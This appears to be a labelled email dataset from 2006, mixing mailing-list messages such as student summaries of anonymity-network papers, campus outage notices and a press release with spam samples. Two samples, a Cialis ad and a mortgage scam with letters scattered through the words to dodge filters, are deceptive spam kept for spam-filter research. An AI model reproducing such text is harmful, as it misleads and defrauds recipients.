encourage expanded dissemination of research. SPARC is located on the Web at http://www.arl.org/sparc; SPARC Europe is at http://www.sparceurope.org. ________________ Alison Buckholtz SPARC Consultant alison@arl.org phone: 202 251 7845",0,1 kenny_valdez ,DMDX@psy1.psych.arizona.edu,,Cialis Soft Tabs. Masculinity and man power.,Do you want to see the fountain of sperm? Try our new Soft Ciali$ T@b$. http://gijmcehk.drywet.info/?abdflhkxwnvpygijmzctce=2505547BB08414BB7@7A|B7A79D55@@A65EADA= =2505547BBO8414BB7A7A1B7@79D55AAA65EADA=,1,1 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Wed, 15 Mar 2006 22:54:08 -0500",PAPER 14,"Andrew Cunningham arc39 Crowds Offering enhanced anonymity on the internet, Crowds operates by creating a network of colluding peers who bounch any given web request through several local redirections before allowing it to leave; thus, upon receipt of a request, the remote server cannot know who issued the request that it is responding to (as long as the issuer did not include any identifying details). Individual entrants -- Jondos, in the parlance of the paper -- rely on a server to introduce them to the crowd, but there is no reason that this should not be a well known node in the system. An odd statement is made regarding mixes and how crowds does not implement a mix: the paper claims that mixes do not provide sender anonymity. This need not be true, and is an odd thing to state, since there is no reason that it should be so; certainly, I did not learn about mixes that did not do this! Also, an attempt is made to claim that mixes' reliance on public key cryptography is a weakness, while a similar ability is even found in Crowds (though implied to be pairwise symmetric keys). However, the behavior properties of Crowds is better than that of a system of mixes, due to the fact that each element of a Crowds system serves as a mix for each other element. Complete knowledge of active Jondos is assumed, which is not scalable (though traffic impacting any one node is relatively stable). Precapturing embedded content is extraordinarily clever, but does not completely preclude timing attacks -- page redirections might still trigger this (or are they usually javascript?). The biggest drawback to the system is the amount of trust which must be placed in fellow jondos -- SSL links are not supported, and due to the structure of the internet, it is extraordinarily difficult to ensure that a man-in-the-middle attack has not been executed in delivering web content. This could be done with end-to-end encryption, but for obvious reasons this is difficult, and so the limitations must be lived with; for certain media, multiple paths could be used to request the site, which (while lowering anonymity) would raise surety of content. The biggest problem is that joins are batched and it is possible to link requestors by spanning routes of requests (ie, routes pre- and post- join batches) implies that browsing must be done quickly and targetted, which is not the standard use-model for te internet, these days! P^5 P^5 performs structured anonymous broadcast via a broadcast tree, where a node joins several groups at various points in the tree, where distance from the root corresponds to message efficiency. The overhead in the system can become staggering, even with the assumed lateral links, though the system is guaranteed ""secretive enough"", i.e. rigorous proofs are presented that a node will not inadvertantly expose more information than it chooses to. It assumes a public key infrastructure through the curious method of not assuming a global public key infrastructure while assuming that two parties may ascertain each others public keys through OOB mechanisms. P^5's main shortcomings are that due to the nature of its broadcast trees, each message sent results in a flood of (unreliable) mesages throughout the network, hitting especially hard the closer one comes to the root. Also, P^5 is vulnerable to asynchronous analysis; it is noted that a user should not change the set of channels it is part of, or intersection attacks become feasible. However, this is essentially what happens each time a user logs off, which means that repeated use of P^5 leaks information. Also, though we have receiver anonymity, since we can have both sender and receiver anonymity, this paper suffers from a very simple problem: there is no reason to trust any given message, since it cannot rely on any information about the sender to vouch for its relevance. Dining Cryptographers The cryptography used here is easy, though with many ""side effects"". By relying on a broadcast medium, and some structure where each edge in the graph has some random bit shared between the two nodes it links, a bit of information may be communicated by each non-speaker broadcasting the cumulative xor of each incident edge's bit; the speaker also xor's in the bit that the speaker wishes to communicate. After each step of speaking, the spoken bit may be determined by taking the xor of the communicated bits -- thus, there is a perfect model of who-knows-what. The scheme suffers from some drawbacks, but far fewer than other systems for anonymity -- partitions are dangerous, allowing information to leak (in the extreme case, where the broadcaster is surrounded by colluding nodes, their information is completely compromised) but with even one non-colluding node, the speaker is again ""anonymous"". The base version of the system can be incredibly expensive, as for each bit of message traffic, essentially N^2 information must be exchanged -- if a node has connectivity less than N, then it trusts some portion of the users, because it is now that much easier to partition that node, determining whether or not it is the speaker. Also, it's very slow, as each bit sent must be sent throughout the entire network; though they point out that this can be done en masse, by sending an entire message of bits, the point remains that the activities of every remote peer, not just a subset of the remote peers, determine the propagation of the message. Finally, the entire system relies on an efficient broadcast mechanism which, while not vulnerable to analysis (we are still essentially using one-time-pads) is certainly not reasonable to assume: each node ends up having to have n^2 connectivity if only to dissemenate information, though there are more efficient schemes for this, so they could be used, the paper doesn't reference them. As a postscript, denial of service and noise injection are trivial in this system, and devastating. Herbivore Built upon the strength of DC-nets and assumptions about the strength of cryptographic techniques, Carnivore builds another anonymous system that is more scalable and efficient than DC-nets. It is built over Pastry, with crypto-puzzles to protect against Sybil attacks; the insight is that we can have clusters of high connectivity to conceal information, which preserve many of the extraordinarily good security properties of DC-nets. The paper leaves unclear precisely how exactly slots are reserved without making clear the intended author for any given period -- usually one would try to inductively use the same system for this, but this is clearly unallowable as the entire issue is collision detection. Implied is that this is a well known solution, but if this problem may be solved anonymously, then the entire question is easily solved by simply using the scheduling algorithm ""larger"". Also, if the individual to whom a given timestamp has been assigned becomes known, then since the message is known (in encrypted form at minimum!) the anonymity has failed, and thus this reservation decision is of utmost importance! Also, the system uses ""local proxies"" to explore other cliques on the ring; we can only hope that they are elected through this protocol (otherwise, we essentially rely on onion routing). Performance is enhanced under Herbivore, but is clearly still not optimal; this is a necessary condition, apaprently, and unfortunate. ",0,0 Ari Rabkin ,egs+summary@cs.cornell.edu,"Wed, 15 Mar 2006 23:09:07 -0500",PAPER 15," Crowds is a particularly simple and clean source-rewriting system, without any cryptography at all. Crowds is designed to allow anonymous web browsing, and to provide anonymity with respect to web servers, and colluding Crowds nodes. In Crowds, there are no mixes. Nodes (called jondos) simply forward requests through other nodes through persistent routes (reminiscent of onion routes). The routes are chosen on a hop-by-hop basis by the preceding node. Everything is sent in plaintext, so there is no need for public key infrastructure, and no need for lengthy setup. There is, however, no anonymity from a global passive observer, or a passive observer able to monitor all traffic into or out of a given node. The success of crowds seems largely due to the fairly accommodating threat model. P5: It is possible to build a system that gains anonymity from broadcast primitives. In a source-rewriting system, attackers can always try to trace streams back to endpoints. In a broadcast-based system, there are many different and indistinguishable endpoints, foiling this attack. In this way, broadcast systems promise greater anonymity. The best example of this sort of system is P5, which has been simulated but never implemented. A P5 system consists of a logical tree, each of whose nodes is mapped to some number of nodes. Nodes continually output encrypted traffic, which can only be understood by a node with the appropriate private key. This traffic is then broadcast to each relevant node; specifically, the root of the tree, and the path through the hierarchy to the exact match node, and all the children of the exact match mode. Note that this broadcasting is presumably done by the P5 system, at the application layer. P5, alas, seems to use inordinate bandwidth, and as a result seems not to be usable in practice. DC-nets: A radically different solution for anonymity is the ""Dining Cryptographer's"" protocol, proposed by Chaum in 1988. In this protocol, each node borders on some other nodes, with which it shares some stream of random or pseudorandom key material. It then broadcasts the mod-2 sum of its key material and the bit to transmit. Since each key is shared by exactly two participants, the mod-2 sum of all bits transmitted in the network is just the mod-2 sum of the data bits. In the absence of collision, this allows a node to transmit data with unconditional anonymity. Collisions are dealt with by treating the DC-net as a common media, and using straightforward techniques such as ethernet's CSMA/CD. By laying ""trap"" messages, protocol disrupters can be probabilistically identified and removed from the network. The DC system provides very strong anonymity guarantees, but with a price. The system provides k-anonymity, but the system moves at the pace of the slowest member of the set, and the total throughput therefore falls as k grows. If k-anonymity is desired for large k and fairly high performance, DC nets are not truly suitable. Herbivore: It turns out that it is possible to make DC-nets scale., to an extent. The only implemented system that actually uses DC-nets in a scalable way is Herbivore, an anonymous filesharing system. Herbivore clusters nodes into cliques, each of which has a location on a Pastry ring. Each Herbivore clique runs the dining-cryptographer protocol separately. As a result, anybody in the clique could have sent a given message. Messages can also be sent from clique to clique, using individual nodes in each clique as proxies. (This means, however, that the proxy in each clique, or a global passive observer, knows which clique the message came from.) Latency is masked by running the protocol many times in parallel. Herbivore masks latency, it does not eliminate it. This means that it is only suitable for bulk transfer of data. Herbivore is also vulnerable to denial-of-service attacks. While an attacker cannot ""take over"" a clique, even one hostile member can paralyze it by joining, and then transmitting slowly, or by talking out of turn. If an attacker has a suitably sized pool of solved cryptopuzzles, they may be able to keep up a steady stream of joins, and use each joined node to block the clique for a time. In this way, an attacker is able to permanently block the system (assuming that a struck node can reenter at some point in the future). Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Thu, 16 Mar 2006 02:43:15 -0500",PAPER 15,"The papers to be discussed today present schemes to communicate anonymously over the Internet. Crowd achieves this by routing messages through different, potentially random paths. P5 scales the broadcast protocols by allowing anonymous connections through a logical broadcast hierarchy. DC-Net provides a framework for unconditional anonymous communications, which forms the basis of Herbivore, a peer-to-peer file sharing system with anonymity. Crowd can't resist statistic correlation attacks. The noise packets of P5 imply heavy load over the Internet all the time. DC-Net and Herbivore are vulnerable to disruption attacks. * In Crowd, a sender delivers by passing his/her messages to a randomly chosen member. That member either delivers the messages to the receiver or forwards them to a randomly chosen member, so on and forth. Any member on the path, as a successor to route the messages, can't tell whether his/her predecessor initiates or simply forwards the messages. However, if the attacker can trace the whole traffic over the Internet, he/she can identify the originator. * P5 provides scalability for anonymous broadcast protocols as follows: Each node in P5's binary tree corresponds to a broadcast channel. It is represented by (bit-string/bit-mask) pairs. A user participates as a member of some node whose bit-string can act as a prefix of his/her key's hash value. The bit-mask i.e., hierarchical level, is decided independently based on the user's security policy: the lower levels increase communication efficiency at the expense of decreased anonymity and vice versa. Users communicate via a common channel. * P5 is subject to two attacks: (Difference Attack) If A has communicated with someone via a channel of level v, he/she should avoid responding to a message delivered to the channel of level < v, since in this way attackers can map A to a smaller set of users. (Intersection Attack) Because participants may exist in a set of groups as they need to communicate with each other via a common channel, their anonymity might be reduced by the intersecting sets they appear. It is therefore important for users to communicate through only one anonymous group. * DC-Net transmits messages in the following way: Suppose there are three participants A, B and C. (We say that A, B and C form an anonymous set.) Each pair of them tosses a coin in secret, namely AB, BC and CA. Basically, everyone reports the XOR of his/her coin tosses for every transmission. If one of them (A) wants to transmit a one-bit message m, he/she reports the XOR of his/her coin tosses with the message. In this case, the overall parity of their reports turns out to be m. Neither B nor C knows the bit is delivered by A because B has no idea about CA and C has no idea about AB. * (1) Scalability is a problem of DC-Net since it requires N^2 secrets shared by all participants. (2) Randomness of the secrets shared by participants is essential to this scheme. In the cryptographic system, this is generally achieved by having two participants share a secret key and use that as the seed to generate a pseudo-random sequence. (3) Underlying communication techniques is another concern. Star topology is more efficient than ring topology communication systems in delivery of messages. (4) An anonymous protocol for participants to reserve transmission slots is required. * Herbivore adapts the scheme of DC-Net and scales through a divide-and-conquer approach that partitions the system into several anonymizing cliques. It allows participants to anonymously sign up for slots before transmission so as to avoid collisions. File queries and transfers are conducted within each anonymizing clique. Inter-clique communications are carried out by proxies. * One issue of Herbivore is that one malicious participant is sufficient to anonymously disrupt the whole transmission. Another issue on the anonymizing cliques is its locality. Since they are formed according to the participants' identifiers strictly, nodes located at different areas may exist in an anonymizing clique, thereby causing long propagation latency. The protocol might be loosened in such a way that forms several anonymizing cliques across a range of identifier space, each accommodates participants geographically nearby.",0,0 Gadar Lowe ,cassie@astron.Berkeley.EDU,"Wed, 15 Mar 2006 20:05:08 -0700",Re: kedoc news,"D l ear Home O h wne b r , Your c a redi g t doesn't matter to us ! If you OW q N real e c st n at b e and want I s MMED o IAT p E cas e h to sp s en x d ANY way you like, or simply wish to L e OWER your monthly pa i yment k s by a third or more, here are the deal p s we have T p OD b AY : $ 48 g 8 , 000 at a 3 , t 67% fi k xed - ra n te $ 37 p 2 , 000 at a 3 z , 90% v p ariabl a e - rat l e $ 49 k 2 , 000 at a 3 , r 21% int p ere m st - only $ 2 y 48 , 000 at a 3 i , 36% f w ixed - rat r e $ 19 u 8 , 000 at a 3 c , 55% varia o ble - ra d te H m urry, when these de m aIs are gone, they are gone ! Don't worry about a d pprova l l, your c q red z it will not dis o qua a lify you ! V u isi g t our x site Sincerely, Gadar Lowe Ap a prov d al Manager",1,1 Shane Lindsay ,DMDX@psy1.psych.arizona.edu,"Thu, 16 Mar 2006 11:41:47 +0000",[DMDX] Re: input device name for sidewinder gamepad,"I have used the text in round brackets. I even copied and pasted the exact text from the diagnostics file into the dmdx rtf file, but for both devices I tried it comes up with device id failed with the first word of the input device name. On 3/15/06, Jonathan C. Forster wrote: > > At 10:56 AM 3/15/2006 +0000, you wrote: > >The device id text in the diagnostics file is the same as I have been usi > > Use the text in the round brackets. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""There are three principal ways to lose money: wine, women, and > engineers. While the first two are more pleasant, the third is by far > the more certain."" > > - Baron Rothschild, ca. 1800 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 dhc@lists.asce.org,dhc@lists.asce.org,"Thu, 16 Mar 2006 06:09:17 -0500",[dhc] potential visiting faculty member opportunity -- Drexel University,"Colleagues, We have a potential visiting faculty position for a sabbatical replacement position in structural engineering. Individuals with design experience either in practice or in teaching are particularly sought. Please send expressions of interest and c.v.'s to my attention. CNH ++++++++++++++++++++++++++++++++++++++++ Charles N. Haas (haas@drexel.edu) LD Betz Professor of Environmental Engineering Department Head -- Civil, Arch. & Environ. Eng. Drexel University http://www.pages.drexel.edu/~haascn ++++++++++++++++++++++++++++++++++++++++ _______________________________________________ dhc mailing list dhc@lists.asce.org http://lists.asce.org/mailman/listinfo/dhc ",0,1 Network Operations Center ,NET_PEOPLE@EMAIL.RUTGERS.EDU,"Thu, 16 Mar 2006 09:51:01 -0500",Scheduled Power Outage - Newark Campus Area - 03/16/2006 1800,"ID: 1300 Description: Power Outage - Newark Campus Area Disruption: Outage Campus: Newark Start Date: 03/16/2006 1800 End Date: 03/17/2006 0200 Summary: As a result of the power outage, no network connectivity will be available to areas of the Newark Campus. The following areas will be affected for the entire duration of the outage: Aidekman Research Center Conklin Hall Dana Library Talbott Apartments Woodward Hall The following areas and services will be affected for a brief portion of the outage window: Newark Dialups Engelhard Hall (LEGACY) Ackerson Hall Boyden Hall Newark Facilities Olson Hall 75 Halsey Street 144 Washington Street Affected: lr01-nwk-fac, lr01-wood-engl, lr03-engl-engl, lr01-engl-engl, lr01-boy-engl, lr01-ols-engl, lr01-arc-engl, lr01-ack-engl, ar01-dalib-hilh, ar01-wood-hilh, gs01-boy-hilh Type: Scheduled ---- If you have any questions or comments concerning this announcement, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Additional information, new issues, and maintenance schedules may be found at- http://www-td.rutgers.edu/tools/Network_Status Thank you for your attention. TD-Network Operations Center ",0,1 Frank Ghigo ,eboyce@nrao.edu,"Thu, 16 Mar 2006 09:14:56 -0500",BB217 at Green Bank,"VLBI project BB217B was observed with the GBT at 4983 MHz in an array with the VLBA, VLA and Effelsberg. Everything seemed to be working just marvelously. All scans were recorded. The weather was clear and cold. Pulse cals were at about 2.5%; Tsys about 25K. Tape DSCP0079 is being shipped to Socorro today. Prior to the run we swapped BBC#7, which had an LO lock error at 604.51 MHz. It was swapped with one from the 20-meter rack. -- frank ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 16 Mar 2006 07:35:43 -0700",[DMDX] Re: input device name for sidewinder gamepad,"At 11:41 AM 3/16/2006 +0000, you wrote: >I have used the text in round brackets. I even copied and pasted the exact >text from the diagnostics file into the dmdx rtf file, but for both >devices I tried it comes up with device id failed with the first word of >the input device name. Hmm, so show us the diagnostics of the failure. Then we'll get to see what DMDX's interpretation of what the input device name you put in the item file is and what the available devices are. I don't suppose you haven't put quotes around the name? Names with spaces in them almost always need quotes around them. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The moving cursor writes, and having written, blinks on. ",0,0 Network Operations Center ,NET_PEOPLE@EMAIL.RUTGERS.EDU,"Thu, 16 Mar 2006 12:00:04 -0500","Network Maintenance - Friday, 03/17/2006","Network Maintenance - Friday, 03/17/2006 ID: 1300 Description: Power Outage - Newark Campus Area Disruption: Outage Campus: Newark Start Date: 03/16/2006 1800 End Date: 03/17/2006 0200 Summary: As a result of the power outage, no network connectivity will be available to areas of the Newark Campus. The following areas will be affected for the entire duration of the outage: Aidekman Research Center Conklin Hall Dana Library Talbott Apartments Woodward Hall The following areas and services are expected to be affected for a brief portion of the outage window: Newark Dialups Engelhard Hall (LEGACY) Ackerson Hall Boyden Hall Newark Facilities Olson Hall 75 Halsey Street Affected: lr01-nwk-fac, lr01-wood-engl, lr03-engl-engl, lr01-engl-engl, lr01-boy-engl, lr01-ols-engl, lr01-arc-engl, lr01-ack-engl, ar01-dalib-hilh, ar01-wood-hilh, gs01-boy-hilh Type: Scheduled ---- If you have any questions or comments concerning this announcement, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Additional information, new issues, and maintenance schedules may be found at- http://www-td.rutgers.edu/tools/Network_Status Thank you for your attention. TD-Network Operations Center ",0,1 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Thu, 16 Mar 2006 10:32:43 -0500",PAPER 15,"Dining Cryptographers Problem: This paper discusses a new elegant way of anonymous communication based on using more than one person's key for encrypting the message by XOR and thus when the message is being decoded the sender of the message cannot be determined. Thus each participant in the process has two kinds of secrets viz. A key that is shared with other users and the inversion that is used to change the message. This schema can be subject to disruptions but the author shows that if three requirements are met then the system would be stable to disruptions and the disrupting node would get excluded from the network. The first requirement is that the information need not be secret and should be made known to all participants and that the participants agree on it. The second requirement being in part that disrupter be unable to change their output after hearing other participants' outputs. And the third requirement is that at least some rounds can be contested without compromising the traceability of non-disrupting senders. This solution to the dining cryptographers problem demonstrates that unconditional secrecy channels can be used to construct an unconditional sender-untraceability channel. It also shows that a public-key distribution system can be used to construct a computationally secure sender-untraceability channel. The approach appears able to satisfy a wide range of practical concerns. P5: P5 is a protocol for anonymous communication over the Internet for peer to peer systems. It handles all the three common subtypes of sender security, receiver security and sender-receiver security. However P5 scales the simple solution of a global broadcast channel to all users by creating a broadcast hierarchy where different levels of the hierarchy provide different levels of anonymity, at the cost of communication bandwidth and reliability. Users of the system locally select a level of anonymity and communication efficiency and can locally map themselves to a level which provides requisite performance. At any time, it is possible for individual users in to decrease anonymity by choosing a more communication efficient channel. It is possible to choose a set of parameters that use mutually incompatible levels of bandwidth utilization and anonymity that is not supported by the system. This system also allows a trade off between bandwidth and communication efficiency, in this system only one sender-receiver pair may simultaneously communicate in this system. Thus, these systems cannot be used to implement large anonymous communication groups. Crowds: Crowd provides anonymous peer to peer communication by selecting a node a t random while sending a message and then changing the message so that it seems that the message had originated from that node. This process of random selection of nodes for senders are done multiple times and this hides the original sender of the message. Thus even the crowd member nodes cannot identify the source since the source can be the random sender or the original sender. However Crowd does not make any effort to defend against denial of service attacks but those attacks are detectable when crowd members refuse to pass on messages which they have accepted. Unlike P5 the length of a message routed through the network does not grow proportionally to the number of nodes it has passed through. IN Crowd a user when he joins the network is allocated a proxy server and on the first request allocates a random path of random nodes that carry on the message for the user. At every point the server selects randomly whether to send the message to its destination or pass it to another random server. However once a path has been selected subsequent request follow the same path. HerbivoreFS: This paper outlines the design of HerbivoreFS an anonymous peer to peer network for file sharing that provides strong anonymity and provides computational guarantees that even adversaries able to monitor all network traffic cannot deduce the identity of a sender or receiver beyond an anonymous clique of k peers. Scalability is achieved by partitioning the global network into smaller anonymous cliques. The lower layer herbivore protocol is based on the dining cryptographers networks and guarantees that an adversary with unrestricted wire tapping capabilities cannot deduce the provider or requester of a file without breaking the RSA code or reversing a one way hash function. It performs anonymous file lookup and spreads culpability across a wide set of nodes that makes it intractable to mount blind legal attacks against groups. ",0,0 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Thu, 16 Mar 2006 10:58:58 -0500",PAPER 15,"Niranjan Sivakumar Crowds: Anonymity for Web Transactions The Dining Cryptographers Problem: Unconditional Sender and Recipient Untraceability P5: A Protocol for Scalable Anonymous Communication Crowds are based on forwarding queries through a number of nodes in a network such that it is difficult to tell whether the node from which a request is received is the source of the query. The authors define different levels of anonymity in a system aiming for a minimum of ""probably innocence"". The system is resilient at some level to eavesdropping on the local, end server, and collaborative level. However, someone with a global view of the network would be able to trace queries. The nodes, known as jondos, encrypt packets on the path to the ultimate destination, but the system does not rely on a public key infrastructure. The system does not use constantly changing paths due to vulnerabilities in this approach. There is some possibility of timing attacks against the crowd system. P5 bases its approach on the idea that it is difficult to tell who the intended recipient of a message is when it is broadcast. The system takes this basic principle, which would be quite inefficient to implement on the Internet, and attempts to scale it by providing a hierarchical system to provide different levels of anonymity. Lower levels in the tree-based hierarchy provide lower levels of anonymity in exchange for better efficiency. Traffic is encrypted, and as in Crowds, a public key infrastructure is not assumed. There are some vulnerabilities in the system to a very powerful attacker. The dining cryptographers protocol is based on the idea that nodes in a ring can share a ""coin-flip"" secret with adjacent nodes and broadcast the XOR of the two secrets that they know to the group. One participant can also embed a message into their announcement. The message can be retrieved, but the participants in the network cannot determine who the sender is because of they can never know both of the secrets that the sender knew. This general approach is expanded to use secret keys instead of a literal ""coin flip"" to implement the protocol. Herbivore is based on DC-Nets and works to improve inefficiencies. Herbivore makes small DC-Net groups that are inserted into a Pastry network. This approach means that the source group, or clique, of a request can be known, but it is not possible to determine who in the clique actually sent the message. A system of crypto-puzzles is used to protect against Sybil attacks to some extent. Some of the approaches that we have seen to do not seem to scale well to different kinds of Internet media. There seems to be a problem of incentive to get nodes to forward large amounts of data to preserve anonymity, such as for redirecting a streaming video or audio broadcast. The ethics section of P5 seems to be quite underdeveloped, in particular, it is not clear if they are claiming that the weakness of their protocol to a strong attacker is a ""feature"" or ""benefit"" or some kind, but they do raise the important issue of abuse of anonymity. At another level, it seems that it may be important in some instances to mask that you are even a participant in an anonymity system. This is particularly a problem in crowds, where participants are very clearly indicated. Since there is certainly some performance loss when participating in these anonymity systems versus directly seeking data, it could be a problem if people only use such systems for activity that they want to hi! de rather than for all of their usage. If an anonymity system is used only for conduct that may be ""questionable"" in some sense, then all participants in a network may be held liable for facilitating such conduct by knowingly participating in the system. ",0,0 George Porter ,SPARC-OAForum@arl.org,"Thu, 16 Mar 2006 11:06:06 -0500",SPARC Partners with _Theoretical Economics_,"[ Forwarding from SPARC Friends. -- George] For Immediate Release March 15, 2006 For more information, contact: Alison Buckholtz, alison@arl.org SPARC PARTNERS WITH THEORETICAL ECONOMICS TO PROVIDE TOP-QUALITY OPEN ACCESS RESEARCH New Journal an Alternative to Two High-Priced Commercial Publications Washington, DC – SPARC (the Scholarly Publishing and Academic Resources Coalition) has partnered with Theoretical Economics (http://econtheory.org), an open access journal created by the Society for Economic Theory as an alternative to two high-cost publications. The new, peer-reviewed outlet for high-quality research in economic theory provides an alternative to the Journal of Economic Theory and Games and Economic Behavior, both published by Elsevier. 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We believe that its success will encourage others to establish high-quality open access journals in other fields of economics, reclaiming full control by the profession of its research output.” Volume 1, Issue 1 of Theoretical Economics was published on March 2, 2006. *** Society for Economic Theory Society for Economic Theory is a non-profit corporation devoted exclusively to the spread of scientific knowledge in economic theory. Its journal, Theoretical Economics, is on the web at http://econtheory.org. SPARC SPARC (Scholarly Publishing and Academic Resources Coalition) and SPARC Europe are an international alliance of more than 300 academic and research libraries working to correct imbalances in the scholarly publishing system. SPARC’s advocacy, educational, and publisher partnership programs encourage expanded dissemination of research. SPARC is located on the Web at http://www.arl.org/sparc; SPARC Europe is at http://www.sparceurope.org. ________________ Alison Buckholtz SPARC Consultant alison@arl.org phone: 202 251 7845 ",0,1 Nicholas S Gerner ,egs+summary@cs.cornell.edu,"Thu, 16 Mar 2006 11:36:48 -0500",PAPER 15,"""Crowds..."" presents a system meant to provide anonymity for HTTP (and a few other related protocols) transactions. The way this is provided is to route requests (and their responses) along a path through a ""crowd"" of ""jondo"" nodes. Each jondo knows the previous and next nodes on the path relative to its position and two successive jondos on a path transmit the request between them such that the previous and next nodes on the path are not directly revealed. Paths are constructed probabilistically such that each node will forward the message to another jondo rather than the end server with some probability, otherwise the message is delivered to the end server. Two anonymity properties are argued to be provided to varying degrees: sender anonymity (such that the sender is not known to the attacker) and receiver anonymity (such that the receiver is not known to the attacker). Three types of attackers are considered: local eavesdropper, collaborating jondos, end server. A high degree of receiver anonymity is shown to be provided against these attackers as the size of the crowd grows and a similar degree of sender anonymity is shown against collaborating jondos as long as non of these jondos participate in the path (which happens with high probability as the crowd grows). Jondos join a crowd by contacting a centralized membership server called a ""blender"". Messages are encrypted between Jondos and the contents of requests and responses are encrypted along the entire routing path within the crowd. Performance of such a system seems to degrade very quickly (as shown empirically) as the strength of the anonymity properties increases. It seems that the RTT between initiator and server scales linearly with path length. Recall that the probability of providing the anonymity properties scales with the crowd size. Sybil attacks also seem to pose a difficult challenge to such a system couting on small crowd size (for performance reasons). Such a small crowd also does not provide much cover to a particular node (even crowds of size four empirically impose high latency without much cover) because joining a crowd reveals all members of the crowd. P5 provides a tree extenion to a naive global broadcast channel providing sender and receiver anonymity. Here a tree is formed where each node is a broadcast channel in which many peers participate. Higher tree-nodes provide a higher degree of anonymity while trading off worse performance. A peer can always move down the tree to achieve better performance at worse anonymity, but not vice versa. If a peer wishes to send a message it encrypts the contents with the destination peer's public key (globally known) and adds the destination address (which identifies a tree node to route the message to along which lies the tree node containing the destination peer). The message is then forwarded up and down the tree accordingly. When the message arrives in the specified tree-node each peer must decrypt a chunk of the message to see if the message is destined for that peer. Peers also send noise messages to random addresses periodically to prevent an adversary from correlating messages. This system provides a tradeoff of performance vs. anonymity (a peer can select in which part of the tree to reside), however even lower tree-nodes require substantial network cost even if the peer sends no useful communication. Also tree-nodes must have a certain number of peers in order to provide proper anonymity and so the heirarchy must be rebuilt if the membership of a tree-node falls below this treshold. Herbivore extends DC-net whereby a sender can broadcast a message without revealing its source. Each pair of peers shares a coinflip and these coinflips are xor'd and broadcasted by each peer. The sender does this, but additionally xors its message and broadcasts this. All these broadcasts can be xor'd to retrieve the original message. Herbivore builds several of these cliques and places them on a global DHT ring to overcome the inherent scalability problems of such a clique. Queries are first broadcasted in the local clique and every clique member checks their filestore and a cache of other files. When files are found they are broadcasted to the entire clique which caches a copy. When not found locally queries are sent to the proper clique via proxies selected from the local and remote clique. Herbivore overcomes the constant broadcast required in P5 and is decentralized and structured unlike Crowds. There is clearly a tradeoff between bandwidth (performance) and cliquesize (strength of anonymity) in Herbivore which is argued to be inherent in this type of anonymity system. ",0,0 Chiu Wah Kelvin So ,egs+summary@cs.cornell.edu,"Thu, 16 Mar 2006 11:38:22 -0500",Paper 15,"The first paper, ""Crowds: Anonymity for Web Transactions,"" present an architecture to increase anonymity in the Internet. Crowds increase the anonymity of the sender by sending the packet to a random member in the crowds. Then, the member will decide to forward the packet to random member or send it to the server. Therefore, the server has no way to find out who is the sender of the messages (sender anonymity) since the packet came from the sender or a random member in crowds. The advantage of crowd is that it has low aggregate on the network. However, an adversary can perform statistical correlation attack in crowds, where a passive adversary listen for number of packets can make some correlation with the packets and its original sender. The second paper, ""P5: A Protocol for Scalable Anonymous Communication,"" presents an anonymous communication over the internet. The primary idea is to broadcast the message at a fixed rate to all the members in the group and encrypt the receiver public key. Therefore, everyone in the group will receive the message and only the receiver with the private key understands the message. P5 built a logical tree and disseminated the message from the sink to all the other members. Each node in the tree can contain multiple users. To send a message to a user, it first needs to send the message to the sink, and then sink disseminates the message using the tree. To avoid adversary to perform statistical correlation attack from sender to the sink, P5 periodically sends out noise packet when user has no packet to send. It also provides tradeoff between anonymity and number of users to send to. One of the drawbacks of P5 is that it uses up too much aggregate bandwidth since it sends every message to all the users and dummy messages when user is idle. The third paper, ""The Dining Cryptographers Problem: Unconditional Sender and Recipient Untraceability,"" presents another way for anonymous communication. The primary idea is to use XOR. If there are A, B, and C users and one of the user needs to communicate with the rest of the group without other user knows about the sender, each user first roll a number. Let's say A rolls X, B rolls Y, and C rolls Z. Each person will XOR with the person on the left, which results A XOR B, B XOR C, and C XOR A, and tells everyone the XOR result. With A wants to send out message m, it will do A XOR B XOR m. Therefore, the combining all the XOR result, we will have A XOR B XOR B XOR C XOR C XOR A XOR m = m. The paper generalizes this idea to use in DC-nets. However, the proposed algorithm is not scalable. The forth paper, ""Eluding Carnivores: File Sharing with Strong Anonymity,"" generalize DC-net and make it scalable. Herbivore scales by partitioning the all the users into smaller anonymous cliques. Each clique operates on its own for efficiency. Herbivore is built on top of Pastry. Therefore, when a node joins, it can efficiently find the closest preexisting clique in the logical identification space. Instead of using a random number it generates each time, each user exchanges the random generator SEED instead. To reduce network load, each round of information exchange is designated to a mediator in the clique. The mediator will collect all the packets from clique members and disseminate them. Therefore, multiple rounds can run at the same time with different mediators. ",0,0 Kevin ,egs+summary@cs.cornell.edu,"Thu, 16 Mar 2006 11:55:16 -0500",PAPER 15,"Crowds is a simple system that has a Blender (a pre-known server) that sets up communication between a p2p like system and a client. The client requests, from the Blender, all the peers in the system (although not all are necessary) and then when it sends out a request, it forwards it on to one of them (possibly itself). To prevent an attacker from using the newly incoming node as information, joins are done in batches. Crowds is not concerned with an all-knowing observer: the communication is not symetric. Therefore, an observer can see that a request was made from a node that never had an incoming packets. The observer could therefore know exactly which node originated the request. Mix that in with no gauranteed receiver anonymity and you have a problem. Crowds works by having clients run a program called a 'jondo' that works as an application-layer program that forwards and processes requests. The jondo, when a user requests a page, forwards that request on to another server. If the request came from another node then it, with probability p_f, forwards the message on to another node and with probability p_f-1 sends the request to the destination. Communication between peers is encrypted so anyone outside the crowd cannot see what is being transmitted. Anyone along the path, however, can see the packet in plaintext. This is necessary since they might be the node that has to forward the request on to the server. Also note that paths are persistent. For security measures, each time you send a request you send it along the same path. Even if a peer drops out then you keep forwarding it along the same path until the dropped peer and then randomly pick a new 